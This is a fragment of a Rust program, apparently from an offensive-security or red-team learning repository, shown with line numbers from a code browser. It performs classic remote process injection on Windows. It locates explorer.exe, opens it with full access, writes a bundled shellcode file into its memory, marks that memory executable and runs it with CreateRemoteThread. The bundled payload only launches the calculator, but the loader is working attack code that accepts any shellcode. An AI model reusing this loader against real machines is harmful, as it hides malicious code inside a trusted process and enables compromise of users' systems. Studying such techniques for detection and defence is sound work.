()
| 10 | |
| 11 | #[cfg(target_os = "windows")] |
| 12 | fn main() { |
| 13 | let shellcode = include_bytes!("../../w64-exec-calc-shellcode-func.bin"); |
| 14 | let shellcode_size = shellcode.len(); |
| 15 | |
| 16 | let mut system = System::new(); |
| 17 | system.refresh_processes(); |
| 18 | |
| 19 | let pid = system |
| 20 | .processes_by_name("explorer.exe") |
| 21 | .next() |
| 22 | .expect("[-]no process!") |
| 23 | .pid() |
| 24 | .as_u32(); |
| 25 | |
| 26 | unsafe { |
| 27 | let handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); |
| 28 | if handle == 0 { |
| 29 | panic!("[-]OpenProcess failed: {}!", GetLastError()); |
| 30 | } |
| 31 | |
| 32 | let addr = VirtualAllocEx( |
| 33 | handle, |
| 34 | null(), |
| 35 | shellcode_size, |
| 36 | MEM_COMMIT | MEM_RESERVE, |
| 37 | PAGE_READWRITE, |
| 38 | ); |
| 39 | if addr.is_null() { |
| 40 | panic!("[-]VirtualAllocEx failed: {}!", GetLastError()); |
| 41 | } |
| 42 | |
| 43 | let res = WriteProcessMemory( |
| 44 | handle, |
| 45 | addr, |
| 46 | shellcode.as_ptr().cast(), |
| 47 | shellcode_size, |
| 48 | null_mut(), |
| 49 | ); |
| 50 | if res == FALSE { |
| 51 | panic!("[-]WriteProcessMemory failed: {}!", GetLastError()); |
| 52 | } |
| 53 | |
| 54 | let mut old = PAGE_READWRITE; |
| 55 | let res = VirtualProtectEx(handle, addr, shellcode_size, PAGE_EXECUTE, &mut old); |
| 56 | if res == FALSE { |
| 57 | panic!("[-]VirtualProtectEx failed: {}!", GetLastError()); |
| 58 | } |
| 59 | |
| 60 | let func = transmute(addr); |
| 61 | let thread = CreateRemoteThread(handle, null(), 0, func, null(), 0, null_mut()); |
| 62 | if thread == 0 { |
| 63 | panic!("[-]CreateRemoteThread failed: {}!", GetLastError()); |
| 64 | } |
| 65 | |
| 66 | let res = CloseHandle(handle); |
| 67 | if res == FALSE { |
| 68 | panic!("[-]CloseHandle failed: {}!", GetLastError()); |
| 69 | } |
nothing calls this directly
no outgoing calls
no test coverage detected